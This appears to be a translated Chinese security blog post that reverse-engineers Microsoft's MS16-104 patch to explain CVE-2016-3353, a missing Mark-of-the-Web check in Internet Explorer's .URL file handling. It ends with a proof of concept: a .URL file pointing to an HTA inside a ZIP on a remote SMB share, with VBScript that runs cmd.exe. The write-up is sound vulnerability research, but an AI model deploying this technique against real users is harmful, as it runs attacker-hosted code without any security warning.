前言


2016年9月13日,Microsoft发布了安全公告MS16-104 [1],其中涉及到影响Internet Explorer的几个漏洞。其中一个漏洞是CVE-2016-3353,这是一个利用安全功能绕过错误.URL文件处理的漏洞。此安全问题不允许自身执行远程代码,相反,它允许攻击者在涉及用户交互的攻击中绕过安全警告。在这篇博客中,我们将讨论利用逆向工程补丁程序到构建此漏洞POC(Proof-of-Concept)的整个过程。

 

分析说明


使用以下版本IE 11、Windows 8.1 x64执行分析:

易受影响的版本:ieframe.dll 11.0.9600.18427

补丁版本:ieframe.dll 11.0.9600.18450

 

确定相关模块


微软安全公告MS16-104(2016年9月)在Windows 8.1 x64上提供了KB3185319 [2]作为IE 11的补丁版本,此补丁替代KB3175443 [3](作为2016年8月发布的安全公告MS16-095的一部分),因此,将在新版本和旧版本之间执行差异比较。

9月补丁(KB3185319)提供了45个DLL文件和7个EXE文件,因此第一步是确定哪个二进制补丁文件包含了我们正在分析的特定漏洞的补丁程序。

微软安全公告中提到:

攻击者可以通过向目标用户发送一个精心构造的.URL文件来绕过浏览器的安全检查功能

这个提示就是我们需要在总共52份二进制文件中确定受影响的模块。

我们首先需要在Windows注册表中HKEY_CLASSES_ROOT\.url下找到扩展名为 .URL的文件。此键的默认值为InternetShortcut,因此我们需要检出 HKEY_CLASSES_ROOT\InternetShortcut\shell\Open\Command 键,以找出哪个二进制文件打开此文件扩展名,该键的默认值为 “C:\WINDOWS\system32\rundll32.exe” “C:\WINDOWS\system32\ieframe.dll",OpenURL %l”。这意味着ieframe.dll正是我们寻找的模块,更精确地说,ieframe!OpenURL的功能是当它们从Windows资源管理器启动时负责处理.URL文件。

通过检查IDA Pro中的ieframe!OpenURL函数,我们可以看到实际工作主要交给CInternetShortcut类:

http://p6.qhimg.com/t017985255ec1481fe9.png

知道CInternetShortcut类负责参与.URL文件的处理,现在我们可以在ieframe.dll的旧版本和新版本之间执行二进制文件比较了,要特别留意属于CInternetShortcut类方法的修改。

 

二进制文件差异对比


在IDA Pro中加载和分析这两个补丁版本之后的ieframe.dll,我们可以使用IDA插件BinDiff来显示两个数据库的差异,通过递增相似性对BinDiff中的匹配函数进行排序,我们可以看到CInternetShortcut类具有显著变化的第一个方法是

CInternetShortcut :: InvokeCommand CMINVOKECOMMANDINFO *),相似比为0.84。

http://p6.qhimg.com/t01e19ebfbb6661294b.png

当比较所述方法的流程图时,我们可以确定这确实是一个使用了安全修复的函数。

http://p7.qhimg.com/t01c9a0752e75bc336d.png

新的(已修复)版本包括在调用CInternetShortcut :: _ InvokeCommand之前的附加检查,如果我们深入到屏幕的右侧部分(修补版本),我们可以看到已添加的检查:

http://p5.qhimg.com/t0124bc38140e44c701.png

如果CL寄存器为0,那么CInternetShortcut :: _ InvokeCommand方法将照常调用,但是,当CL!= 0时,函数将调用CDownloadUtilities :: OpenSafeDialog,如果用户接受安全警告询问时,则调用CInternetShortcut :: _ InvokeCommand。

因此,我们继续确定CL寄存器的值设置在哪里:

http://p5.qhimg.com/t01068d84bca9720f24.png

从该代码段,我们可以得出结论,当处理的文件具有.URL扩展名并且还包含网络标记(MOTW)[4]备用数据流时,CL被设置为1,在这种情况下,继续处理.URL文件之前,用户将收到安全警告。

 

确定bug的影响


微软公告没有给出攻击者通过利用这个bug可以实现的细节, 它只提到“攻击者可以通过向目标用户发送一个精心构造的.URL文件来绕过浏览器的安全检查功能”。另一方面,ZDI公告ZDI-16-506 [5]中提到“如果受害者打开.URL文件,攻击者可以在受害者的机器上执行任意代码”。此外,ZDI提到这个bug是由Eduardo Braun Prado发现的,通过查看Eduardo [6]发布的其它安全公告,我们可以看到他专门利用“链接类”文件格式(.MCL,.LNK)来执行任意程序,而不会向用户显示安全警告,因此,我们决定遵循这个线索和假设,如果我们能说服用户打开一个特制的.URL文件,没有向用户显示安全警告的话,这个漏洞允许我们执行一个任意程序。

 

利用


这是一个典型的.URL文件的内容:

[{000214A0-0000-0000-C000-000000000046}]
Prop3 = 19,2
[InternetShortcut]
IDList =
URL = https://www.microsoft.com/

 

为了理解如何利用这个bug,让我们来看看CInternetShortcut :: _ InvokeCommand(在已修复版本,只有在额外的安全检查后才会调用该函数)。

http://p0.qhimg.com/t01ca99b936a40b80a0.png

该函数调用CInternetShortcut :: CExecHelper :: Init,它初始化了一个SHELLEXECUTEINFO[7]结构,然后调用CInternetShortcut :: CExecHelper :: ResolveProtocol以验证在.URL文件的URL键中指定的协议是否在当前计算机中正确注册。

然后它调用CInternetShortcut :: CExecHelper :: IEDirectExec,尝试在Internet Explorer中打开目标URL,如果不行,那么将调用CInternetShortcut :: CExecHelper :: Execute,CInternetShortcut :: CExecHelper :: Execute只是调用ShellExecuteEx[8] API,并以之前初始化的 SHELLEXECUTEINFO结构作为其参数。

因此,我们可以使.URL文件的URL键指向一个可执行文件,它将通过ShellExecuteEx执行,但是,在初始化SHELLEXECUTEINFO结构时,lpParameters字段设置为NULL,因此我们不能为要执行的文件提供任意参数,这意味着我们不能滥用本地解释器,如cscript,wscript或powershell,我们需要提供能够被其执行的文件作为替代方案。

在这类情况下寻找利用可能性时,我们偶然发现了Google Project Zero bug#693 [9](它描述了TrendMicro产品中的一个漏洞),其中Tavis Ormandy提到自动下载包含.HTA的.ZIP文件的想法文件与任意代码,并利用Windows资源管理器功能,将.ZIP文件作为文件夹,通过ShellExecute指定一个路径来执行.ZIP文件。C:/Users/someone/Downloads/test.zip/test.hta. 他的场景与我们的非常类似,因为他还提到了使用这个技巧能够避免MOTW安全警告。

进一步的测试表明,如果包含.HTA文件的.ZIP文件托管在SMB共享中,利用同样可以执行。

 

概念证明(Proof of Concept)


为了利用此漏洞,发送到目标用户的.URL文件的内容必须是这样的:

[{000214A0-0000-0000-C000-000000000046}] 
Prop3 = 19,9 
[InternetShortcut] 
IDList = 
URL = file:/// \\ 192.168.1.100 \ share \ test.zip \ ms16-104.hta

 

这是ms16-104.hta文件的代码,取自上面提到的Project Zero的PoC。它会运行"cmd.exe /k echo hello world!" ,它必须压缩为test.zip,.ZIP文件必须托管在.URL文件指定的SMB共享文件夹上。

<head> 
<title> HTA测试</ title> 
<HTA:APPLICATION 
     APPLICATIONNAME = “HTA Test” 
     SCROLL = “yes” 
     SINGLEINSTANCE = “yes” 
     WINDOWSTATE = “maximize” 
> 
</ head>  
<script language = “VBScript” > 
    Sub  TestSub 
    Set  o  =  CreateObject (“Shell.Application” )
    o 。ShellExecute  “cmd.exe” , “/ k echo hello world!” , “” , “” , 1 
    End  Sub 
</ script> 
<body  onLoad = “TestSub” > 
</ body>

 

当用户使用Web浏览器下载恶意的.URL文件时,该文件被正确标记为MOTW,表明该文件可能有害。

http://p9.qhimg.com/t017ed9e0afdbde77ba.png

在正常情况下,如果用户尝试打开标有MOTW的文件,则会向用户显示安全警告,说明该文件可能是恶意的,并询问他/她是否真的想打开它,然而由于我们分析的这个安全漏洞,当打开恶意的.URL文件时,引用了远程.HTA文件的.URL文件在没有任何警告的情况下被执行,忽略Web标记在URL文件上存在的事实。

在已更新的系统上,当用户尝试打开包含有MOTW的.URL文件时,则会看到以下安全警告:

http://p3.qhimg.com/t01b9820f6737dccef3.png

 

结论


网络标记(MOTW)是由浏览器(以及其它高度暴露的软件,如电子邮件客户端)添加到从互联网下载的文件的备用数据流,当用户双击标有MOTW的文件时,通常会显示安全警告,告诉用户该文件来自Internet,并且可能是有害的。

在MS16-104补丁之前的.URL文件,MOTW并不受支持,因此.URL文件引用的文件只是通过ShellExecuteEx执行,根本没有安全警告,这可以被随意用来执行任意代码,通过诱使用户打开一个恶意的.URL文件,指向托管在SMB共享中.ZIP文件中的.HTA文件。